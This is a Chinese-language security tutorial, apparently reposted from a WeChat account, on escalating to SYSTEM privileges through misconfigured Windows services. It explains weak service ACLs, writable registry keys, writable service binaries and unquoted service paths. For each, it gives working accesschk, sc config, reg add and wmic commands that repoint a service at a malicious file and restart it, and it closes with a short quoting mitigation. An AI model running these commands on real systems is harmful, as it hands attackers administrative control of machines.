Windows系统服务提权
通常情况下,安装一些应用时会在本地注册一些服务,大多数服务会在开机时以system权限启动,注册服务时,会在以下路径创建注册表项。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices
例如gupdate服务的ImagePate键指向该服务所启动的二进制程序。
提权思路
开机时会启动系统服务,并调用其二进制文件,如上图的GoogleUpdate.exe。由于大多数服务是以system权限启动的,可以让系统服务启动时执行其他程序,该程序就会随着服务的启动获得系统权限。
不安全的服务权限
ACL定义了安全对象的访问控制权限,windows系统服务就是通过ACL来指定用户对其拥有的权限,常见权限如下:
在配置不当时,低权限用户对高权限用户运行的服务有更改服务配置的权限,就可以通过低权限用户直接修改服务启动时的二进制文件路径。
AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。
使用命令如下:
accesschk64.exe /accepteula -uwcqv "INTERACTIVE" *
# 查询INTERACTIVE组可修改配置的服务
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
# 查询Authenticated Users组可修改配置的服务
sc config <Server Name> binpath= "cmd.exe /k <EvilFilePath>"
# 修改服务启动文件为恶意文件路径/命令
# binpath,指定服务的二进制文件路径,=后面必须有一个空格
如果当前用户对服务有启动和停止权限,就相当于拥有重启权限,执行以下命令重启服务。
sc stop <Service Name>
sc start <Service Name>
# 重启服务
服务注册表权限脆弱
上面是不安全的服务权限,这里是不安全的用户权限,都是ACL配置不当,这里是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置。
使用命令如下:
accesschk64.exe /accepteula -uvwqk HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices
# 查询当前用户具有写入权限的注册表项
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices<Server Name> /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k <EvilFilePath>" /f
# 修改注册表项的ImagePath字段指向预先上传的EvilFilePath
accesschk64.exe /accepteula -ucqv "<UserGroup Name>" <Server Name>
accesschk64.exe /accepteula -ucqv "INTERACTIVE" <Server Name>
accesschk64.exe /accepteula -ucqv "Authenticated Users" <Server Name>
# 查询用户组对服务是否有重启权限
sc stop <Service Name>
sc start <Service Name>
# 重启服务
服务路径权限可控
用户错误配置,使低权限用户对服务调用的二进制文件或目录有写入权,可以直接将该文件换成恶意程序,随着服务启动继承系统权限。
accesschk64.exe /accepteula -quv "<ServerFilePath>"
# 查看服务的二进制文件目录是否具有写入权
accesschk64.exe /accepteula -quv "<ServerGroupName>" "<ServerFilePath>"
# 查看服务的二进制文件目录对指定用户组是否具有写入权
sc stop <Service Name>
sc start <Service Name>
# 重启服务
未引用的服务路径
也被称为可信任的服务路径。
如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格,windows都会按照从左到右的顺序尝试寻找并执行与空格前的名字相匹配的程序。
当系统依次尝试服务路径中的空格时,会以当前服务所拥有的权限进行。可将一个经过特殊命名的恶意程序上传到受影响的目录中,重启服务时,恶意程序随着服务启动而继承系统权限。
wmic service get DisplayName, PathName, StartMode|findstr /i /v "C:Windows\" |findstr /i /v """
# 枚举目标主机上所有该漏洞系统服务
accesschk64.exe /accepteula -quv "<UserGroupName>" "<DirFromServer>"
# 查找带空格提前解析的目录有没有写入权限
为了避免该漏洞的影响,在使用sc创建系统服务时,要对空格的服务路径使用引号包裹。
sc create <servicename> binpath="xxx"
总结
愿大家健康开心。
原文始发于微信公众号(AlertSec):Windows系统服务提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论